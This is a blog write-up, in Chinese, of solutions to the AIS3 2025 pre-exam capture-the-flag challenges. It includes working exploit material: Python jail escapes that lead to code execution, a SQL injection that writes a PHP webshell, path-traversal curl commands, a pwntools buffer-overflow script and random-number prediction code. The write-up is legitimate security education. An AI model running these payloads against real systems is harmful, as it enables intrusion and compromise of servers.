Cavern.sigma
Welcome to Cavern.sigma
[TOC] ## 成績 ![Score](https://img.stoneapp.tech/t510599/ais3-2025/pre-exam/Score.jpeg) 看[完整 Profile](https://img.stoneapp.tech/t510599/ais3-2025/pre-exam/Profile.jpeg) 很長的 [ScoreBoard](https://img.stoneapp.tech/t510599/ais3-2025/pre-exam/Scoreboard.jpeg) ## 前言 ![公告](https://img.stoneapp.tech/t510599/ais3-2025/pre-exam/Announcement.jpg) 這學期修了林宗男的網路攻防實習 然後期末考外包給 AIS3 Pre-exam 所以又回來打了 不過我太菜了 不像以前的修課大大各各都破台 🤡 題外話 有同學不是本國籍的 今年不給報名 pre-exam 直接沒期末成績 QQ ## misc ### Welcome ![before](https://hackmd.io/_uploads/ByjWAEVGee.png) 東西在 `::before` 裡面 還是手打比較快 Flag: `AIS3{Welcome_And_Enjoy_The_CTF_!}` ### Ramen CTF 雖然拉麵被擋住了 但是有露出發票 ![圖片](https://hackmd.io/_uploads/r1j6kHVMel.png) 可以看到賣方統編為 `3478592?` 以及該公司是 `平和xxx公司` 根據關鍵字可以查到是: 平和溫泉拉麵店 統編 34785923 宜蘭縣礁溪鄉德陽村礁溪路五段108巷1號 Google Map 上叫做[樂山溫泉拉麵](https://maps.app.goo.gl/NbP3XRzfS6D8TUhH7) 左邊 QRCode 掃出來是 `MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**********:2:2:1:蝦拉` 參考 Google Map 上的菜單 可以猜測品項是 `蝦拉麵` Flag: `AIS3{樂山溫泉拉麵:蝦拉麵}` ### AIS3 Tiny Server - Web / Misc 土炮 LFI 用 `curl --path-as-is` 送 `../` ![圖片](https://hackmd.io/_uploads/BkhY0BVMgg.png) Flag: `AIS3{tInY_we8_5eRVER_wi7H_fIle_8rOWs1ng_45_@_Fe4turE}` ### nocall 🈲📞 ```python #!/usr/local/bin/python3 import unicodedata print(open(__file__).read()) expr = unicodedata.normalize("NFKC", input("> ")) if "._" in expr: raise NameError("no __ %r" % expr) if "breakpoint" in expr: raise NameError("no breakpoint %r" % expr) if any([x in "([ ])" for x in expr]): raise NameError("no ([ ]) %r" % expr) # baby version: response for free OUO result = eval(expr) print(result) ``` 參考此 [Pyjail Cheatsheet](https://shirajuki.js.org/blog/pyjail-cheatsheet#running-functions-and-methods-without-parenthesis) 目標是執行 `{1 for __builtins__.print in {exec}}` 讓 `eval` 的結果回傳一個字串 並透過覆蓋最後的 `print` 成 `exec` 來 RCE 雖然 jail 中有提到禁止 `__` 但實際上擋的是 `._` 因此可以使用 `__builtins__.xxx` 來覆蓋內建函數 另外不能使用 `(` 跟 `[` 因此無法使用 list 與 tuple comprehension 但可以使用 `{` 來做 set comprehension 因為空白被禁止 無法直接寫 for 迴圈 然而可以在行尾 加上 `\` 作為 line continuation 意即 for 迴圈可以改寫為下列格式: ```python for\ i\ in\ range(1):\ pass ``` 又因為 f-string 中 `{{` 會被脫逸成 `{` 字元 所以在前後加上 `0,` 跟 `,1` 來把 `set` 的 `{` 與 f-string 的 `{` 隔開 最後 `eval` 會將 `\r` 視為 `\n` 所以把換行全部替換掉來讓 `input` 可以讀取我們的所有輸入 Payload: (replace `\n` with `\r`) ```python f"import\x20os;os.system\x28input\x28\x29\x29#{0,{1\ for\ __builtins__.print\ in\ {exec}},1}" ``` 上面的輸入會被解析成以下字串 透過 `#` 把覆蓋 builtins 的 `set` 註解掉 ```python import os;os.system(input())#... ``` Flag: `AIS3{you_can_overwrite_builtins_to_call_without_()}` ### nocall revenge 🈲📞🆙 ```python #!/usr/local/bin/python3 import unicodedata print(open(__file__).read()) expr = unicodedata.normalize("NFKC", input("> ")) if "._" in expr: raise NameError("no __ %r" % expr) if any([x in "(['\"+-*/ ])" for x in expr]): raise NameError("no (['\"+-*/ ]) %r" % expr) # no response for you :> eval(expr) ``` 一樣參考此 [Pyjail Cheatsheet](https://shirajuki.js.org/blog/pyjail-cheatsheet#running-functions-and-methods-without-parenthesis) 修改此 payload: `[+license for license.__class__.__pos__ in [breakpoint]]` 此次多擋了 `'"+-*/` 因此無法使用 f-string 也無法使用 `+` `-` 的 unary operator 查看 [Python 文件](https://docs.python.org/3/reference/datamodel.html#object.__invert__) 可以發現還有 `~` (`__invert__`) 的 unary operator dunder method 把 `license.__class__.__invert__` 用 `breakpoint` 覆蓋掉 呼叫 `~license` 即可觸發 這邊也利用到 line continuation 把 `license.__class__` 的 `._` 分隔為 `.\n_` 即可繞過檢查 Payload: (replace `\n` with `\r`) ```python {~license\ for\ license.\ __class__.\ __invert__\ in\ {breakpoint}} ``` Flag: `AIS3{overwrite_the_operator_dunder_method_to_call_without_()}` ### Tcp Tunnel TCP 連上去後 會直接傳 raw IP packet bytes 過來 解碼後會發現是 ICMP ping `src` 為此 tunnel 的 server IP 位址 `dst` 為我方的 IP 位址 先透過 `scapy` 掃 TCP port 送 `SYN` 過去 並檢查對方是否回傳 `SYN ACK` 來分辨該 port 是否開啟 ```python from pwn import * from scapy.all import * from scapy.layers.inet import IP, ICMP, TCP host, port = "chals1.ais3.org", 29997 r = remote(host, port) def recv(timeout=0.5): v4 = r.recv(2, timeout=timeout) assert v4 == b"\x45\x00" # IPv4 length = r.recv(2, timeout=timeout) l = int.from_bytes(length, 'big') remaining = r.recv(l - 4, timeout=timeout) return v4 + length + remaining def send(data): r.send(data) def tcp_connect(src, dst, sport, dport): tcp_syn = IP(dst=dst, src=src) / TCP(sport=sport, dport=dport, flags='S') send(raw(tcp_syn)) def parse_packet(payload) -> IP: parsed_packet = IP(payload) return parsed_packet recv_packet = recv() parsed_packet = parse_packet(recv_packet) server_ip = parsed_packet[IP].src client_ip = parsed_packet[IP].dst print(f"Server IP: {server_ip}") print(f"Client IP: {client_ip}") for dport in range(1, 65536): tcp_connect(client_ip, server_ip, 48763, dport) recv_packet = recv() parsed_packet = parse_packet(recv_packet) if parsed_packet[IP].proto == 6: if parsed_packet[TCP].flags == 'SA': print(f"Found open port: {dport}") else: continue ``` 最後因為手送 TCP 一直被 RST 所以用 ChatGPT 生個轉發到 tun 的[腳本](https://chatgpt.com/share/6836d755-3128-800a-ad0c-960d628f0611) 讓其他工具可以直接連線 `curl <server ip>:80` 即會吐出 flag ![image](https://hackmd.io/_uploads/Syflx36zge.png) Flag: `AIS3{C0nnect_7cpTunnel_4nd_4cc3p7_w3b_serv1c3}` ## web ### Tomorin db 🐧 程式碼如下: ```golang package main import "net/http" func main() { http.Handle("/", http.FileServer(http.Dir("/app/Tomorin"))) http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) { http.Redirect(w, r, "...", http.StatusFound) }) http.ListenAndServe(":30000", nil) } ``` 若想透過 `../` 等方式存取 Golang 的 http server 預設會先把使用者 redirect 到正規化完的絕對路徑 因此無法繞過 查看原始碼可以注意到以下註解: `src/net/http/server.go` [source](https://cs.opensource.google/go/go/+/master:src/net/http/server.go;l=2582-2588;drc=8cb0941a85de6ddbd6f49f8e7dc2dd3caeeee61c) ```golang=2582 // # Request sanitizing // // ServeMux also takes care of sanitizing the URL request path and the Host // header, stripping the port number and redirecting any request containing . or // .. segments or repeated slashes to an equivalent, cleaner URL. // Escaped path elements such as "%2e" for "." and "%2f" for "/" are preserved // and aren't considered separators for request routing. ``` 如果送了 `%2fflag` 過去 `%2f` 在做 routing 時會被保留 這樣就不會 match 到 `http.HandleFunc("/flag", func(...))` 而是由 http.FileServer 處理 因此 `curl "http://chals1.ais3.org:30000/%2fflag" --path-as-is` 就可讀到 Flag Flag: `AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}` ### Login Screen 1 先通靈弱密碼 `admin:admin` `dashboard.php` ```php=33 // if the user is admin, show this post if ($_SESSION['username'] == "admin") { ?> <div class='box'>...</div>; <div class='box'>...<?= getenv('FLAG1') ?></div></div>; <?php } ``` `index.php` ```php=24 if ($user) { // If user exists, login logic (verify password) if (password_verify($password, $user['password'])) { // Start session for the user $_SESSION['username'] = $username; $_SESSION['verified'] = 0; // Set verified to 0 ``` 此時雖然未通過 2FA 但已經有 `$_SESSION['username'] = 'admin'` `dashboard.php` ```php=1 <?php include("init.php"); // if not logged in, redirect to login page if (!isset($_SESSION['username'])) { header('Location: index.php'); } else if (!isset($_SESSION['code']) || $_SESSION['code'] != 1) { // if not verified, redirect to 2fa page header('Location: 2fa.php'); } ``` 另外可以發現 `dashboard.php` 上面檢查完 2FA 後忘記 `die()` 所以下面的 FLAG1 實際上還是會輸出 不要使用 `-L` follow redirect 即可看到 Flag ![圖片](https://hackmd.io/_uploads/SyzymL4fge.png) Flag: `AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}` ### Login Screen 2 `2fa.php` ```php=10 // if not logged in, redirect to login page if (!isset($_SESSION['username'])) { header('Location: index.php'); die(); } // Handle form submission (both login and registration) if ($_SERVER['REQUEST_METHOD'] == 'POST') { $code = $_POST['code']; $username = $_SESSION['username']; $result = $db->exec("SELECT * FROM users WHERE username = '$username'"); ``` 可以看到 L20 的 SQLi 是被 `$db->exec` 觸發 因此可以執行數個 query 這裡用的是 SQLite 可以透過 `ATTACH DATABASE` 來寫檔案 又因為 PHP 只會執行 `<?php ?>` tag 中的東西 會無視其他資料 因此可以拿來寫 webshell FLAG2 是放在 env 中 執行 `phpinfo()` 是最簡單的方法 觀察會發現 apache2 docker 預設 `www-data` 可以寫 `/var/www/html` 所以把 webshell 直接寫在 `/var/www/html` 也方便直接存取 Payload: - Username - `guest'; ATTACH DATABASE '/var/www/html/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<?php phpinfo(); ?>');-- ` - Password - `guest` - (還是得驗證密碼 才會設 `$_SESSION['username']` 並讓 `2fa.php` 裡面的 `$db->exec` SQLi 可以被觸發) 存取 `<server>/lol.php` 即可 ![圖片](https://hackmd.io/_uploads/HyC2m8Nfxe.png) Flag: `AIS3{2.Nyan_Nyan_File_upload_jWvuUeUyyKU}` ## reverse ### AIS3 Tiny Server - Reverse 簡單搜尋一下 flag 相關字串 可以看到 `sub_2110` 有下列程式 ![image](https://hackmd.io/_uploads/B1KmkzRGll.png) 他會將 `AIS3-Flag` header 的值丟給 `verify_flag` (`sub_1e20`) 做驗證 簡單觀察一下 `v8` 是一坨 bytes XOR key 是 `rikki_l0v3` ![image](https://hackmd.io/_uploads/B1STyG0zlg.png) 直接 XOR 解密即有 flag Flag: `AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}` ## pwn ### Welcome to the World of Ave Mujica🌙 ![image](https://hackmd.io/_uploads/BknslfRMeg.png) 沒有 Canary 跟 PIE 有個 `Welcome_to_the_world_of_Ave_Mujica` (`0x401256`) 直接跳上去就有 shell `main` 非常簡單 輸入長度並讀取該長度到 buffer (`buf[143]`) 裡面透過 `read_int8` 來讀長度 這邊會發現他只對 upper bound 做檢查 然而他是讀到一個 `int` 上 且最後回傳的是 `unsigned int` ![image](https://hackmd.io/_uploads/Sy1EbG0Geg.png) 這邊只要傳入負數即可通過檢查並被 cast 成一個很大的 int 簡單的 BOF 把 return address 蓋成 `Welcome_to_the_world_of_Ave_Mujica` 即可 ```python from pwn import * AVE_MUJICA = 0x401256 host, port = "chals1.ais3.org", 60293 r = remote(host, port) r.sendlineafter(b"?\n", b"yes") r.sendlineafter(b": ", str(-1).encode()) # size, uint overflow r.sendlineafter(b": ", b"A" * 0xA0 + p64(0x48763) + p64(AVE_MUJICA)) # BOF r.interactive() ``` ![圖片](https://hackmd.io/_uploads/rJIdrI4zgl.png) Flag: `AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._7af91ef330f5754fb994d5d3e8968b4b}` ## crypto ### Hill 整個加密是透過矩陣 $A$, $B$ 來做 算法如下 `chall.py` ```python=23 def encrypt_blocks(blocks): C = [] for i in range(len(blocks)): if i == 0: c = (A @ blocks[i]) % p else: c = (A @ blocks[i] + B @ blocks[i-1]) % p C.append(c) return C ``` 這邊可以注意到除了第一個 row 以外 每個 row 會跟 $A$ 做乘法 再加上上一個 row 跟 $B$ 做乘法 最後 mod p 另外程式提供了一個 encrypt oracle 我們可以造一個 input 來 leak $A$, $B$ 要 leak $A$, $B$ 的一個 column 需要四個 row 做為一組 input $$ \begin{bmatrix} 0 & 0 & 0 & 0 & 0 & 0 & 0 & 1 \\\\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 \\\\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 \\\\ 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 \\\\ \end{bmatrix} $$ 這樣會 leak 出 $$ \begin{bmatrix} A^T[7] \\\\ B^T[7] \\\\ \vec{0} \\\\ \vec{0} \\\\ \end{bmatrix} $$ 每組 input 的第一個 row 控制要 leak 哪個 column 第二個 row 設為 $\vec{0}$ 因此 $A \text{@} \text{block}[i]$ 此時也為 $\vec{0}$ 讓他只 leak 出 $B$ 的 column 最後收集起來回推出 $A$, $B$ 然後反著做即可解密 因為有 mod p 沒辦法單純直接砸 inverse 使用 `sympy.Matrix.inv_mod` 來快速找到 $A$, $B$ mod p 下的 inverse ```python from functools import reduce from pwn import * import numpy as np from sympy import Matrix def parse_numpy_array(s): segments = s[1:-1].split(' ') ret = [] for s in segments: if s: ret.append(int(s)) return ret def gen_input(): inp = b"" for i in range(8): l = b"\x00" * i + b"\x01" + b"\x00" * (8-i-1) inp += l + b"\x00" * 8 * 3 # leak col by col, then add 3 zero rows return inp host, port = "chals1.ais3.org", 18000 r = remote(host, port) r.recvline() flags = [] AT = [] BT = [] for _ in range(5): l = r.recvline().decode().strip() flags.append(parse_numpy_array(l)) flags = np.array(flags, dtype=int) r.sendlineafter(b"input: ", gen_input()) for _ in range(8): AT.append(parse_numpy_array(r.recvline().decode().strip())) BT.append(parse_numpy_array(r.recvline().decode().strip())) for _ in range(2): # two empty lines l = r.recvline().decode().strip() A = np.array(AT, dtype=int).T B = np.array(BT, dtype=int).T print(flags) print("A:", A) print("B:", B) p = 251 n = 8 def matInvMod(vmnp, mod): vmsym = Matrix(vmnp) vmsymInv = vmsym.inv_mod(mod) vmnpInv = np.array(vmsymInv).astype(np.int64) return vmnpInv def decrypt_blocks(C, A, B): blocks = [] A_inv = matInvMod(A, p) for i in range(len(C)): if i == 0: block = (A_inv @ C[i]) % p else: block = (A_inv @ (C[i] - B @ blocks[i-1])) % p blocks.append(block) return blocks def blocks_to_str(blocks): data = np.array(blocks).flatten().astype(int).tolist() s = reduce(lambda x, y: x + chr(y), data, "") return s C = np.array(flags) decrypted_blocks = decrypt_blocks(C, A, B) flag = blocks_to_str(decrypted_blocks) print("Flag:", flag) ``` Flag: `AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}` ### Stream `chal.py` ```python=6 def hexor(a: bytes, b: int): return hex(int.from_bytes(a)^b**2) for i in range(80): print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256))) print(hexor(flag, getrandbits(256))) ``` 可以看到前面 80 行的輸出都是 `getrandbits(256) ** 2 ^ digest` 由於他 digest 是針對 `os.urandom(True)` 而 `True` 傳入後會被當成 `1` 因此實際上只有 256 種可能 針對每行輸出爆搜所有 digest 如果是平方數即代表可以開根號回推 `os.getrandbits(256)` 輸出 每行可以還原 256 bit 輸出 意即 8 個 32 bit 輸出 80 行最多可以還原 640 個 32bit 輸出 而 [randcrack](https://github.com/tna0y/Python-random-module-cracker) 僅需要 624 個 32bit 輸出即可預測後續 randbits 最後找到加密 flag 的 key 這邊查看 [cpython source](https://github.com/python/cpython/blob/a10b321a5807ba924c7a7833692fe5d0dc40e875/Modules/_randommodule.c#L532-L544) 可以看到當 `getrandbits` 的輸入超過 32 時 他會以 32bit 為單位從 LSB 填到 MSB 知道這件事才能正確的把 256bit 輸出拆成 8 個 32bit submit 到 randcrack ```python from hashlib import sha512 from gmpy2 import iroot from randcrack import RandCrack hashes = [] table = {} # os.urandom(True) outputs 1 byte output keys = [] with open("output.txt") as f: data = f.read().strip().split("\n") for line in data: if line.strip() == "": continue hashes.append(int(line, 16)) for i in range(256): digest = sha512(bytes([i])).digest() table[bytes([i])] = digest for h in hashes[:80]: for _, v in table.items(): key = int.from_bytes(v, 'big') ^ h if (r := iroot(key, 2))[1]: keys.append(int(r[0])) break assert len(keys) == 80, "Not enough keys found, expected 80" rc = RandCrack() try: for key in keys[:624*32//256]: # submit 32 bits key, but key is 256 bits for i in range(8): rc.submit(key >> (i * 32) & 0xFFFFFFFF) except ValueError as e: pass for key in keys[624*32//256:]: predict_key = 0 for i in range(8): predict_key = (predict_key) | rc.predict_getrandbits(32) << (32 * i) assert key == predict_key, "Key mismatch, prediction failed" next_key = rc.predict_getrandbits(256) enc = hashes[-1] flag = enc ^ next_key**2 print(flag.to_bytes((flag.bit_length() + 7) // 8, 'big').decode('utf-8')) ``` Flag: `AIS3{no_more_junks...plz}` ## 結語 比賽第一天的禮拜六晚上 跟同學跑去聽了 [ANISAMA WORLD 2025 In Taoyuan](http://www.anisamaea.com/) 超爽 RAS 現場真的好猛 這場除了乞丐站票區音場真的很爛 聲音全部糊在一起以外 歌跟氣氛都很讚 另一個站票區更嗨 打 call 部隊以外還有孔雀繞場 XD 然後 CTF 真的太捲了 捲不動了
2025-07-01 16:43:46
留言
Last fetch: --:-- 
現在還沒有留言!